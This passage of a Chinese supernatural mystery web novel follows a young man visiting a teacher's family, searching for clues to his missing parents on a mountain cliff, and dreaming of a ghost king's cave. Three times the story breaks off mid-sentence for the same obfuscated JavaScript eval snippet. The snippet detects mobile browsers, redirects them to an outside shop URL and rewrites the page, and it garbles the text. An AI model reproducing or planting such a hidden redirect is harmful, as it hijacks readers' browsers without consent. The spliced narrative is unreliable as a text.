麻辣烫串串香不像火锅那样要吃很久。没一会两人就吃完了饭,易无钦拿了两瓶可乐结了账。 他递了一瓶给郑咏絮,“拿着上班喝吧?” “上班喝这个?”郑咏絮接过来拿在手里。 “你晚上没睡好觉,可乐味道甜,会让你舒服点。如果还是不舒服,我去给你买块蛋糕吧。”易无钦说着就要往串串香店旁边的蛋糕店去。 郑咏絮连忙拉住他,“不用了,我没啥不舒服的。今天反正周五,下午也没啥费心费力的事。” 两人散着步,朝学校的方向走去。 易无钦看了看手机,“现在时间还早,你还可以好好睡个午觉。” 郑咏絮摇摇头,“谁知道做不做梦呢,又梦见奇怪的东西怎么办?” 易无钦笑了,“那也要睡觉啊,总不能因噎废食吧。再说了,咱们的梦说不定是暗示呢。” 郑咏絮也跟着笑了起来,“我的想法是挺幼稚的。” 易无钦说,“不是幼稚,是有趣。” 郑咏絮拧开可乐,喝了一口,忽而被呛住然后猛地咳嗽起来。 易无钦连忙拍她的背,“没事吧?” 郑咏絮咳嗽得满脸通红,朝他摆手,“没事,没事。” “怎么了?”易无钦不解地看着她。 郑咏絮使劲咳了几下,平复下来,“我突然想到一个可能。” “鬼王,是不是通过梦境跟我们联系?” * 宋兰芳在厨房忙得手没停歇过。 虽然来做客的只是易无钦一个人,但她仍然计划备一大桌子菜,要让他仿佛回到了自己家里。 妯娌杨欣拿着菜进来,“幺婶亲手做的灰粑我拿上来了。她今天清早八晨开始打米浆做的,现在还热腾腾的。”她一边说着一边放到蒸锅上保温。 宋兰芳朝她笑笑,“谢谢,辛苦你跑一趟。” “又不远。”杨欣又去择菜。 她看着宋兰芳准备的这么多菜品,笑着说,“看来你是很重视这个男娃儿,这就是你请未来女婿吃饭的标准。” “哪儿呀,”宋兰芳否认,“他和雪雪八字还没一撇。他是文老师的儿子,我作为长辈是该好好请他吃饭。” 杨欣也不反驳,“趁今天这个机会,我们好好相看,把人看清楚。” 她叹了口气,“别像那个小张。看着模样还行,谁知道是个眼高于顶的家伙。他那个爸妈也是,我一想到以后要做亲家就头疼。再一想到燕燕要嫁过去就更忧心了,有好几个晚上都没睡着觉。” 宋兰芳停下手里的活计,看了看四下无人,凑到杨欣耳边低声说,“要不,我们悄悄给燕燕看看其他男娃儿。雪雪的姨妈在县里学校当领导,她认识的人多,我喊她帮忙看看?” 杨欣犹豫了一下,“这样不好吧,燕燕那娃儿脾气你晓得,犟得很。” 宋兰芳拍拍她的手,“哎呀,先不给她说嘛。我喊我姐悄悄留意着,有条件好的我们两个先去看。看准了再找机会给燕燕好好说。” 杨欣还有点犹豫。 宋兰芳继续劝,“人都是比较出来的。万一出来个条件很好的,燕燕一比较,自然就晓得小张哪儿哪儿都不好了。这种事,我们当长辈的说半天没得用,要她自己内心去认清楚。” 杨欣叹了口气,“好嘛,那就麻烦你姐了。下次你帮我把屋头那瓶最好的蜂蜜给她。” “不存在,我今天忙完了明天就打电话给她说。”宋兰芳说完后又去专心忙活。 * 得知易无钦今天要去郑咏絮家吃饭,金盛替他好好打扮了一番。 一早就拉着他去广场旁的理发店洗头,吹了个发型。 “哥,这太过了吧?我只是去做客,有点夸张了。”易无钦看着镜子里的飞机头,有些无语。 金盛瞪了他一眼,“你懂啥?人家宋老师喜欢干净清爽的,最不喜欢男生留刘海了。你看你现在这样多好,全都梳上去了。” “太老气了,显得我像个二流子。”易无钦自己拿过吹风,使劲把飞机头吹下来,弄成平时他熟悉的样子。 金盛阻止不了,无语摇头。 易无钦穿戴整齐,提着东北寄来的特产和在镇上买的水果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540017|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到了郑咏絮家里。 除了大伯郑高志,其他人都在家。 “超超快进家里坐,别客气。”宋兰芳热情地笑,“我还是习惯叫你超超,不介意吧?” 易无钦笑着说,“都可以的,宋老师。好多年没人叫我超超了。” “那我以后都叫你超超。”宋兰芳笑着说。 郑高远放好了易无钦带来的礼物,走过来问他,“超超喝酒不?” 没等他回答,郑高远又说,“你是东北人,肯定很能喝酒。家里有自己酿的桑泡儿酒,整点。” 易无钦“啊”了一声,不好拒绝。 宋兰芳嗔怒捶了下郑高远,“喝啥子酒,你又不能喝。能喝的大哥又不在家,今天不喝酒,不要欺负小孩子。” 说笑间,宋兰芳拉着易无钦入席。 “哇,宋老师,这是您的手艺吗?这太丰盛了吧!”易无钦看着满桌的菜由衷赞叹。 宋兰芳笑道,“是我和雪雪伯母一起弄的,都是我们当地的特色菜,看看合不合胃口。” “来咯,灰粑来咯。”杨欣端着蒸笼过来。 宋兰芳连忙起身去接,给易无钦夹了一个热气腾腾的灰粑。 “超超还记得这个吗?”宋兰芳一边说一边将辣椒盆子放他边上,“我记得当年你妈妈很喜欢吃这个。” 易无钦连连点头,“当然记得,要是周末遇上赶场,妈妈一定会带着我去吃。” 灰粑是归望镇当地的特色。先把干稻草烧成灰,再淋上热水,得到静置过滤后的草灰水。再用本地的富硒米混合草灰水浸泡一晚上,一起磨成细腻的米浆。然后在锅里用小火熬煮,等米浆慢慢凝固。 最后用手团成团,就成了灰粑。不论是就这样吃,还是炒腊肉,甚至烤烧烤,都是一绝。 做法有点复杂,妈妈文绫虽然很喜欢吃,但并不会自己做,都是等赶场时去买新鲜的。 “能吃辣椒吗?”宋兰芳问。 易无钦点点头,她就舀了一瓢淋到他碗里的灰粑上。 一口下去,辣椒混合糯而不粘的口感随着记忆充斥着他整个人。 是妈妈的味道,是童年的味道。 易无钦忍不住就红了眼眶。 郑咏絮见状悄悄递给他一张纸。 宋兰芳知道他大概是想到了妈妈,有点后悔。可是,文老师是无论如何都迈不过去的话题。 郑高远瞪了她一眼,低声说,“你提文老师做啥子?” “是辣椒有点辣。”易无钦挤出笑容说。 郑咏絮给他倒了一杯可乐。 杨欣见状,连忙给他夹了些清淡的菜,“超超,吃这个。” 易无钦说了声“谢谢”,沉默了片刻,抬头对他们说,“郑叔叔,宋老师,杨阿姨,还有郑燕姐姐,咏絮,其实我并不介意你们在我面前提到我的爸爸妈妈。反而我很高兴,这里还有人记得他们。宋老师还记得我妈妈喜欢吃灰粑。我那时年龄小,不怎么记事,可能你们记得的我爸妈反而比我还清晰。” 他越说声音越低,到最后是小声啜泣。 大家都放下了筷子,明白他的心情。宋兰芳也忍不住红了眼,“文老师那么好的一个人,唉。可惜当年我跟她接触不多,要不然起码留张照片下来当念想。她就留了个名字给我们。” 她指着郑咏絮,“雪雪的大名就是你妈妈起的,你看多有文化。” 郑高远接过话,“我记得当时你外婆来了归望镇把你接走了。你家里那些东西大多数都带回东北了,剩下一些书你外婆说不要,学校就收走了,好像存放在档案室。” 易无钦错愕,“还留有书?”他从来没听姥姥和殷老太提过这件事,“叔叔,你知道是些什么书吗?里面有没有一个,笔记本?” 27. 旧事 郑高远摇头,他当年只是在现场帮忙,并没有留意那些书。 宋兰芳赶紧说,“学校一般不大清理档案室的书,说不定你爸爸的东西都在。星期一我上班时去问问,看看那些书在哪里。” “谢谢宋老师。”易无钦挤出笑容。 杨欣眼见气氛活跃了点,招呼大家吃菜。 宋兰芳给他舀了一碗藕汤,“超超,那是个啥样的笔记本,很重要吗?” 易无钦点点头,“那是我爷爷参加三线建设,单位发的纪念品。我爸爸用来记笔记。如果这个笔记本还在,那算是从爷爷传给我爸再传给我的东西了,对我来说很珍贵。” 他停顿了下,语气有点灰心,“当然大概率是很难找到了。” 一直在吃菜的郑燕突然说话了,“超超,冒昧地问一句,你爸爸是在山里不见了?” 杨欣立即踢了她一下,皱着眉头不满地低声说,“你提这个干啥子,你咋又知道山里的事?” 郑燕不以为意,“我以前听爸爸矿上的老师傅说的。镇上派出所那些年经常给他们打招呼,叫留心下山里,有发现的话立即报警。” 易无钦倒也没介意她问得突兀,“我前段时间去派出所问过,负责这个案子的警察也是这么跟我说的。他们这些年一直在追踪,可惜没有结果。” 他抬头问杨欣和郑燕,眼里有希冀,“杨阿姨,郑燕姐姐,叔叔在矿上那么多年,有没有什么线索呢?” 郑燕马上摇头,“我比你大不了多少,我能知道啥?” 杨欣倒是仔细思索了下,犹豫着说,“你爸爸失踪前几天,矿上倒是有几个师傅看到了他。一个人在山里走。但是吧,那几天镇上来了国资委的人,说要查这些大大小小的煤窑,规范经营。为了迎接检查,燕燕爸爸带着矿工师傅们在矿上的办公室加班加点赶了好几天的工。” 郑高远插嘴说,“对头,是有这么个事,我有印象。” 杨欣继续说,“有时候我悄悄在想,如果那几天不是因为迎检,如果他们像平常一样在山里,是不是就能早点发现你爸爸的失踪了。” 易无钦脸上是淡淡的悲伤和失落,“这种事情说不清楚的。还是很谢谢阿姨,告诉我这么多。” 杨欣不好意思地笑,“主要是燕燕她爸爸不愿意提这些事,他们矿上人有讲究。我也只能把听来的一点事情给你说。” 易无钦真挚地说,“谢谢阿姨,谢谢你们。虽然我爸妈至今下落不明,但我在这个地方遇到了很多好人,感受到了很多爱。” 郑高远怜爱地看着他,“超超,就当这里是你的家,以后经常来。” 宋兰芳也说,“我随时都给你做好吃的。” * 午饭后在郑咏絮家里聊了好一会儿天,直到三点多,易无钦才离开。 原本郑高远和宋兰芳极力挽留他吃晚饭,但易无钦以还要修改客户的设计告辞了。 他出来后就去了派出所。正巧,上次接待他的刘层今天值班。 “刘叔,你在,太好了。”易无钦笑道。 刘层给他倒了一杯水,“又来问你父母的事吗?” 易无钦赶紧点头,“我这次来,是想知道一件事。” 他顿了顿,“最后看见我爸妈出现的地方是在哪里?” 刘层对案件烂熟于心,“你爸爸是在乐村那上面的庙坝,最后看见他的是矿上的几个工人,是在白天的时候。至于你妈妈,有人看见她晚上出门,也是往乐村的方向去。但是太晚了,没几个人看见她。” “那几个工人,还能联系上吗?”他不甘心地追问。 “有一两个能联系上,我可以把联系方式给你。但他们年龄大了,老年人排外,怕是不信任你这样的外地人。可能你问了也没啥用。”刘层说,“再说了,当年的笔录我都记得清清楚楚,这些年过去了,他们怕是都记不到了。” 易无钦一边抄下电话号码,一边说,“我也是尽一尽为人子女的心意。如果我没有亲自去了解,会心不甘的。” 刘层点点头,表示理解。 拿到联系方式的易无钦知道刘层说得很有道理,他自己去联系别人多半不理他。 他立即回到旅馆,找到了金盛。 这个周末天气不算好,来镇上的人相对少,金盛没那么忙,他十分意外易无钦这么早就回来了。 “宋老师都不留你吃个晚饭啊?她该不会是对你不满意吧?” 易无钦顾不上跟他扯,拿出抄号码的纸问他认不认识这两个人。 金盛看了,想了一会儿,“这两个都不是我们矿上的。这个已经不在归望镇了,另一个住山里头。” 他摊了摊手,“不过我跟他们都不大认识。” 易无钦顿时有些泄气,在沙发上坐着发呆。 “不过,有一个人认识他,而且比较熟悉,能帮你搭线。”金盛突然说。 * 易无钦在广场上的馆子里炒了几个菜打包装好,提着饭菜去了五□□厂的疗养院。 梁婆婆正安顿了郑飞,拿着饭盒要去打饭。 易无钦快步上前,“婆婆,不用去打饭,我给你们带了馆子里的菜,好吃得很。” 梁婆婆一脸的不好意思,“又让你花钱了,这怎么好?” “没得事,”易无钦把饭菜放下,“婆婆,其实我是有事要麻烦你帮个忙。” 三人边吃边聊,易无钦把找老矿工的事告诉了梁婆婆。他没说具体原因,梁婆婆也没问。 “哦,老吴啊,我认识,以前是邻居。”梁婆婆放下碗筷,拿出手机拨打电话。 “喂,老吴,是我。明天你在屋头没得?” “那你在家不要出去,我有点事来找你。” 梁婆婆挂掉电话示意易无钦搞定了。 易无钦又惊又喜给她竖了个大拇指,还是老辈子厉害。 * 晚饭后,郑燕拿着香囊去找郑咏絮。 这是郑咏絮前段时间请她帮忙做的安神香囊,她一直不得空。这两天总算抽时间弄完了。 郑咏絮独自在房间里,满脸的心事重重。郑燕进来时,她也只是抬头淡淡看了一眼。 郑燕觉得奇怪,好好的周末,她不耍手机不耍电脑,光是在那里发呆。 “你有心事啊?”郑燕好奇地问,“白天你那男朋友都来家里吃饭了。你看幺爸幺婶对他好热情,一口一个超超,你还不满意啊?” 郑咏絮没说话。 她继续说,“你动作还是快。我记得去年去东北,也没看出你俩多熟悉。结果没过两个月,他为了你千里迢迢来归望镇这个小地方。” 郑咏絮仍然不说话。 郑燕有点恼了,把香囊扔在床上,“费心费力给你做这个东西,你话都不说一句。” “姐。”郑咏絮终于抬起头,她的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541738|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情看起来疲惫而落寞。 郑燕愣住了,“你怎么了?跟那个超超吵架了?” 郑咏絮摇头,“姐,你真的要考到山东去,以后在那里生活吗?” “不知道。”郑燕语气不耐烦,并不想提到这个话题。 郑咏絮看着她,“你那个小张不靠谱。我才去学校多久,就听说了他跟女学生暧昧的传闻。” 郑燕瞬间垮脸,“你少给我乱说。” 她起身就要走,边走边狠狠地说,“管好你自己,少来管我的事。” “姐,”郑咏絮再次叫住了她。 郑燕回转半个身子斜眼瞪她。 “你能不能不去那么远的地方,你就在归望镇行不行?”郑咏絮用了恳求的语气。 郑燕一愣,愈发奇怪,她从来没见过郑咏絮这样说话,“你啥子意思?” 郑咏絮叹了口气,“姐,我俩从小一起长大,虽然只是堂姐妹,但胜似亲姐妹。要是哪天我不在了,你要帮我照顾我爸妈。” 她低垂下头。今天易无钦想到了他的爸爸妈妈,年龄那么小就分别。或许被他的情绪感染,她想到自己这个样子,说不定哪天被鬼王弄死了,那爸爸妈妈该多么伤心。 郑燕越发觉得莫名其妙,“你在说啥子胡话?”她又瞪了郑咏絮一眼,头也不回离开了。 * 金盛听说易无钦要和梁婆婆去找人,看看店里生意也不多,就托付给爸妈照看,自己开车送他们去。 顺便也拉着郑飞出去转转。 目的地比上次郑元带易无钦兜风的地方还要远。 依旧是山路十八弯。 易无钦还好不晕车。 梁婆婆却十分难受,再加上郑飞在她旁边闹腾,就愈发不舒服了。 易无钦主动换了座,让梁婆婆坐前排。 郑飞很少出疗养院。虽然这里是他从小熟悉的大山,但对他来说,仍然充满了新鲜感,一路上新奇不已。 “耍水,耍水。”郑飞指着路边说。 易无钦不解其意。金盛倒是明白,“对头,这里可以耍水。但不是这个季节,夏天才有水。” “哦。”郑飞满脸失望。 “夏天我们再带你上来耍,好不好?”易无钦耐心地说。 郑飞高兴得拍手。 金盛见状,想起大家都是小时候一起耍的伙伴,有心感慨几句。但又看到梁婆婆在旁边,知道说这些并不合适,干脆闭嘴专心开车。 一会儿,目的地庙坝到了。 这个地方海拔在1400米以上,温度比山下低得多。夏天炎热的时候,庙坝倒是凉爽,是归望镇以及宾化县的人喜欢来的避暑地。但现在还不到清明,山上仍然很冷。 易无钦庆幸自己听了金盛的话,穿的都是厚衣裤,能御寒。 郑飞和梁婆婆也穿得厚。郑飞一下车发现这里冷得还能哈气,高兴得不停哈气玩。 梁婆婆带着他们找到了老矿工老吴的家。 老吴正在家里坐着看电视,见人来了,连忙招呼他们坐下烤火。 梁婆婆示意易无钦将在山下买的米油水果和东北特产放在屋内桌上,“这是这个孩子的一点心意。那些是他从东北寄回来的特产,是好东西。” 老吴连声说谢谢,“太客气了。” 他眯着眼睛去看易无钦,“小伙子,你是外地人,东北的啊?我怎么看你有点面熟呢?” 28. 山崖 易无钦正想介绍自己,梁婆婆却眼神示意他不要说话。 大家静静地等老吴思考,连郑飞都不闹了。 老吴认认真真想了半天,“你长得像很多年前在这里失踪的那个人。” “失踪?”梁婆婆吃了一惊,但见易无钦和金盛并不惊讶的样子,她明白其中肯定有隐情,当下也并不追问。 老吴又说,“你跟那个人一样,都说东北话。” 易无钦在他身边坐下,“吴爷爷,你说的对,失踪的那个人是我爸爸。” “哦,难怪。”老吴一脸了然,“你来找我是想问你爸爸的事情吗?” 易无钦点头。 老吴叹了口气,“我记得到那天的情况。我当时最后一次看到他,就是在我家出去左手边五百米的位置。他一个人在转,我问他干啥子,他说记录地形。拿着个笔记本和笔在那里写写画画。那几天矿上要迎检,我也没空跟他多说。后来就没看到人了。再后来听说他失踪了,就是那几天。但是这么多年这一片啥子都没发现。” 他停顿了下,“这些我早就跟警察说过的,他们也不止问了我一次。在这片区域也找了很多次,确实啥都没得。” “他拿着笔记本?”易无钦喉头发紧,“是什么样子的?” 老吴挠挠头,“我只晓得是个笔记本,啥子样子记不到了。我没啥文化,不懂这些笔笔纸纸的东西。” 易无钦沉默了一会儿,“谢谢吴爷爷,其实我知道事情过了这么多年,很多事情已成定数。但我作为儿子,没有亲自来查看,始终不安心。” 老吴表示理解,他站起身来,“娃儿,走嘛,我带你们去看看当年我最后一次看见你爸爸的地方。” 他带着几人出门。 那个地方并不远,走几分钟就到了。 这是一个山坳的崖边,可以看到对面山林的全景。 “就是这个位置,你爸站在这个边边看对面。”老吴指着崖边,“这里虽然是崖边边,但是你爸那么大个人肯定不会自己掉下去。更何况那天不说天气好,起码是没有下雨的,我记得到。” 老吴示意易无钦走进往下看,“当然警察也不会排除所有可能,这下面,这周围,他们都找了的,没找到。” 山崖并不陡峭,一路往下草木丛生。易无钦站在边上看了看,这里并不会让人产生恐高的眩晕,确实地形说不上险要。即使爸爸从这里失足掉下去,也不一定会立即殒命,更不会什么都找不到。 但这里毕竟是山林,什么情况都有可能发生。哪怕是现在的技术,每年仍然有很多人失踪在全国各地的山林里找不到,更别提当年了。 易无钦心里彻底泄了气,爸爸都找不到,那晚上出门的妈妈更难找了。 他在山崖边静静站了好一会儿,任山风阵阵吹打。 金盛上来劝他回去,“今天天冷,婆婆他们吹不得冷风。我们下次再上来嘛,随时都可以上来。” 易无钦点点头,跟着大家准备回去。 一直安安静静的郑飞却在这个时候尖叫起来,满脸写着惊恐,“山,山洞,有鬼,我怕……” 梁婆婆紧紧抱住了他,“飞飞乖,不怕,婆婆在。” 他大声哭喊,“不要过来,不要吃我。”双手乱舞,好像挥赶着看不见的东西。 郑飞虽然痴傻了,但身形仍然是个大人,力气很大,无意识打在梁婆婆身上,让她吃痛不已。金盛见状,连忙帮忙抱住人,往车子的方向拖。 易无钦和老吴也去帮忙,合力稳住郑飞。他看见郑飞一直用手指着对面山林,忍不住转头去看。 云雾却在此刻聚集了过来,虽不似那天和郑元一起经历的云瀑那么茂密,但也隐隐约约遮住了这片山头。 郑飞还在哭闹,嘴里喊着“鬼”“我怕”之类的话。易无钦心中的疑惑越来越大,但他也知道这个时候并不是探查的时机。 等终于把郑飞塞进车里,梁婆婆只能和老吴匆匆告别。金盛立马开车朝山下驶去。一下了山,郑飞立刻不哭不闹了。 回到疗养院后,郑飞倒在床上睡着了。 梁婆婆安顿好他,也觉得疲惫不已。 “婆婆对不起哈,我本来说带着郑飞去山上耍耍,结果没想到把他吓到了。”金盛挠挠头道歉。 梁婆婆摆摆手,“不怪你们,是飞飞这个病太奇怪了,说不准的。我还要感谢你们带我们出去转,天天在这个疗养院里,他也烦。但是我一个老太婆又弄不住他。” 易无钦说,“那下次我们不去山上,就在镇上耍,或者去县里。” “都要得,等你们有空再说嘛,不要太麻烦你们了。”梁婆婆说。 易无钦回想着刚才在山上,郑飞说的“山洞有鬼”,很想问问梁婆婆当年的情况。但他看见梁婆婆一脸的疲惫,心下也不忍。于是让她好好休息,和金盛回旅馆。 * 整个下午,易无钦一直坐着前台想事情。 金盛忙完特产店的布置后,看到他仍然是魂不守舍的样子。 “在想啥?”他用手指戳了戳易无钦。 易无钦一愣,垂头说,“想一些乱七八糟的事情。” “想你爸爸的事?”金盛问。 易无钦点点头,又摇头,“这件事毫无头绪,警察都查不出来,我早该死心的。” 金盛叹口气,“鬼王山虽然有很多煤窑,算是很多地方都开发了。但人没去过的地方还是很多。说句不好听的话,如果你爸爸是在这样的地方,你还是就当他是在深山老林里安息了吧。那些人没去过的地方,你也不要想着去,很危险。过几天清明节我陪你去今天那个山崖边烧点纸,尽一尽为人子女的心意。” 这话虽然是在说他爸爸不在人世了,但易无钦也并没有生气,他知道金盛说的是实情。毕竟殷老太早已问过仙家,爸爸已经不在了,但妈妈却“不生不死”。 “好。”易无钦回答道。 他犹豫了下,还是说了,“其实我还在想郑飞的事。” 梁婆婆曾经跟他说过,郑飞是有次去山里耍,回来就不正常了。加上之前郑咏絮偷听到的金万堂和金海军的对话,他确定,郑飞肯定是进了鬼王的山洞。 难道鬼王的山洞就在今天那个山崖附近? 易无钦眼前仿佛浮起了云雾,把一切都笼罩得云里雾里。 “郑飞当年不是去的今天那个地方。”金盛一语道破他心中所想。 金盛站起来,朝外面指了指,“他就在这里过去不远的山上。” 他耐心解释,“郑飞家就住在镇上,他要去耍也不会跑太远。今天我们去的庙坝开车都开了一个多小时。他小时候走路上去起码大半天,一个小娃儿不会跑那么远。” 易无钦没有说话,他心里在想,整座山都是鬼王山,那么鬼王出现在山里任何一处也不稀奇,未必就是今天那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550043|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山崖。 “你是不是还在想我们小时候进那个山洞的事情?”金盛有些无奈,“你有点魔怔了,年纪轻轻怎么去信这种事?封建迷信要不得。” 易无钦仍然没有说话,他从内心深处不愿金盛知道这些事。倒不是金盛相不相信的问题,而是他不想金盛被牵扯进来。 金盛见他不说话,以为自己的话太重了。毕竟易无钦的爸爸妈妈至今下落不明,他心里有些执念是很正常的。自己不该太苛责他。 “超超,我的语气不好,请你原谅。”金盛真诚地说,“但我希望你看开点,过得快乐点。” * 如易无钦所料,当天夜里,他又做起了梦。 仍然是整个头脱离了身体飞出去。 不过这次有点说不出的异样。他停下来自己观察自己很久,才发现在他的左耳上,挂着一串东西。 殷老太寄给他的定魂珠手串。 手串不知道是怎么挂上来的。但这是梦里,没有逻辑是很正常的。易无钦摇摇脑袋,手串跟着晃荡。但他知道手串牢牢地挂在耳朵上,不会掉下去。 跟上次一样,他仍然飞行在山林间找东西。 这一次,是庙坝的山林。 白天的时候,郑飞惊恐地指着这片山崖。他想去看,结果被云雾遮住了。 现在是晚上,但反而视线比白天好很多,没有云雾不说,连山崖上生长的草木都看得棵棵分明。 山崖上果然有山洞,还不止一个。那些洞口大大小小的,大的有两米那么高,能过人。小的半米高,过野兽。 这些山洞不仔细看是发现不了的,茂密的树木生长,将洞口随意挡住。易无钦在半空中看了好一会儿,他发现自己不仅能清清楚楚看明白这片崖上的洞口,甚至还知道它们内部是相连着的。 之所以如此清楚,是因为这些洞口都有奇异的光透出来。好像是山体里面有一个正在发光的东西。 易无钦生起强烈的冲动,一定要去看一看。不知道那个发光的东西是什么,可能是神秘的僚人,或者所谓的宝藏,甚至就是鬼王本尊。 无论如何,要去看,要去看。 易无钦兴冲冲地朝最大的那个洞口飞去。 越靠近洞口,光越盛,隐隐约约还能听见里面有一群人唱念的声音,像是在举行古老的仪式。 “我一个人去看吗?”易无钦忽然想到了郑咏絮,“她在不在这个梦里?要不叫她一起?” 他在洞口不远处停住,四下张望,想寻找郑咏絮的身影。 可深山老林,哪有什么人影呢? 易无钦心里略略失落。他突然想起郑咏絮推断的一句话, “祭童是不是通过梦境和鬼王沟通?” 想到这里,再次看向洞口,忽然也没那么大的冲动一定要去看了。 洞内光芒不减,那些仪式唱念的声音还在继续,仿佛在邀请他快快进去看一看。 易无钦飞到一棵大树上停留。 他朝着空中大喊,“对不起鬼王,我就先不去山洞里看了。” “我要先找到我的爸爸妈妈。” 像是听到了他的话一样,山洞里的声音瞬间消失,光芒也没有了,又回归了平静。 果然,能与鬼王沟通。 易无钦大喜,忽然感觉左耳有点热。他略侧目一看,那串定魂珠手串正发出奇异的红光。 他在这时醒了。 29. 心事 郑咏絮收到易无钦发来的信息时正在上班。 她带着满脑的疑惑在空闲时给易无钦打了个电话。 “你是说你在暗示鬼王,想让它帮你找爸爸妈妈?” 易无钦连声说是,“我觉得吧,鬼王肯定对我俩有什么安排,说不定有啥事要我们去完成。所以我就提条件呗。” 郑咏絮的语气却有些凝重,“你不觉得,你这是在和鬼王做交易吗?” 易无钦愣住了,被她这么一说,还真像那么回事。 他慌乱起来,“我,我没想那么多。哎呀,要真是交易的话,鬼王肯定要从我这里拿走什么。那会不会连累你?” 郑咏絮沉默了好一会儿,“我也不知道。” 她深吸一口气,倒也没责怪他,“你想找到你爸妈,完全可以理解的。如果鬼王能帮忙,倒也不能说是坏事。万一我俩真出了事,但找到了你爸妈,也算了了一桩心愿。” 她停顿了下,继续说,“再说了,你来归望镇这么久了除了几个梦,啥事都没有。一静不如一动,给鬼王找些事做,也未尝不是一件好事。” 易无钦心里有些后悔,“是我考虑不周。要不,我下次做梦时不要它帮忙找了。” 郑咏絮笑道:“做了就做了吧,没啥大不了的。不是还有你送我的定魂珠在吗?肯定有点作用的。” 说到定魂珠,易无钦抬起手仔细看手串。白天看它不过是平平无奇的珠子,但他记得在梦里,它会浑身泛光。 “这东西,指不定真有啥说法。”他又说了一遍梦里的情景。 郑咏絮扑哧一下就笑了,“有意思,这东西也是东北来的。五仙过不了山海关,它倒是跟着现代快递来了大西南。还在梦里发光发热呢。” 她的语气听起来轻快,像是真的觉得这件事很好笑。 “咏絮,”易无钦忽然喊她。 “怎么了?” 易无钦停顿了下,“你是不是有什么心事?” “啊?”郑咏絮愣了下,“为什么这么说?” 易无钦垂垂眼,“没什么,可能是我多想了。总感觉你的语气跟平时不大一样,有点低落。哪怕你在笑也是低落。” “啊?没有吧?”郑咏絮淡淡说。 易无钦沉默了一小会儿,“你要是有心事可以告诉我。不过,你不想说也没关系。反正你别自己憋着难受。” “我没有。”郑咏絮否认了。 易无钦也没有追问,闲扯了几句其他的,结束了通话。 * 挂掉电话后,郑咏絮呆坐在工位上。 她的工位靠近窗子,扭头就能看到外面。今天天气不算很好,但也没有下雨。太阳在厚厚的云朵后面,吝啬地给出一些阳光。 校园里的植物大多过了花期,长着新新嫩嫩的叶子。再远一点的操场上,大学生们正在朝气蓬勃地玩耍嬉闹。 一切都是欣欣向荣的,他们都有美好的未来。 郑咏絮眼神黯淡下来,将目光移回自己的桌面上。 正如易无钦所说,她这两天确实状态不大好。主要是有心事压在心头。 那天易无钦来家里做客后,郑高志找她谈了一次话。 语气是少有的诚恳,甚至恳求。 “雪雪,伯父看着你长大,这么多年,我一直当你是亲生女儿。知道你有这个祭童命,其实我心里也很不好受。”郑高志一边说一边眼里泛起了泪光,“尤其是那个男娃儿来到归望镇后,我感觉,日子也一天一天近了。” 郑咏絮却一点也没被他的感伤所感染,她直愣愣地问,“伯父,你在金万堂身边那么多年,就没有发现有什么能让祭童不死的办法?” 郑高志愕然看着她,“办法?什么?” “所谓的祭童,你是听金万堂说的,我也是听他说的。什么都是他在说。难道在我之前,没有出现过祭童吗?”郑咏絮语气极为冷淡。 “怎么是他一个人在说?难道你从小出不得归望镇的体质说明不了问题吗?”郑高志皱着眉头说。 郑咏絮不说话。 他放缓了语气,“雪雪,我晓得你从小就是个心高气傲的女娃儿,本来就不甘心一直呆在归望镇。现在成了祭童更不甘心了。唉,你有啥子心愿就给我说,我尽量帮你实现。” 他想了想又说,“你的爸爸妈妈我肯定会好好照顾。我死了,你燕燕姐也会照顾他们。” 郑咏絮忍不住讥笑,“姐姐她一心想嫁到齐城去,山高水远,别说照顾了,平常恐怕都不会打个电话。” 郑高志听到这里心里有些窝火,女儿的婚事一直也是他心中一根刺。他平复下心情,镇定说,“雪雪,这也是伯父要跟你说的。我不希望你姐姐嫁那么远,但她又很喜欢小张,我也不好棒打鸳鸯。如果你帮我取代金万堂,把他手里的资源抢到我们郑家来,那我们家的财富比现在还多得多。直接喊小张当入赘女婿留在归望镇或者渝州,岂不是一举多得。” “取代金万堂?” “金万堂有今天,靠的是鬼王。他是镇上唯一能通鬼王的人。但你作为鬼王的祭童,肯定也能跟鬼王沟通。你记得,让鬼王告诉你归望镇的矿藏资源在哪里。”郑高志盯着她,眼睛发光。 “鬼王山还有啥子矿藏资源?不是说煤都开发得差不多了吗?”郑咏絮疑惑地问。 郑高志摆摆手,“那么大个鬼王山,才开发了多少?没了煤矿,说不定还有其他矿。甚至说不定真有张献忠的宝藏。” “啥?怎么又扯出了张献忠?”郑咏絮越听越糊涂。 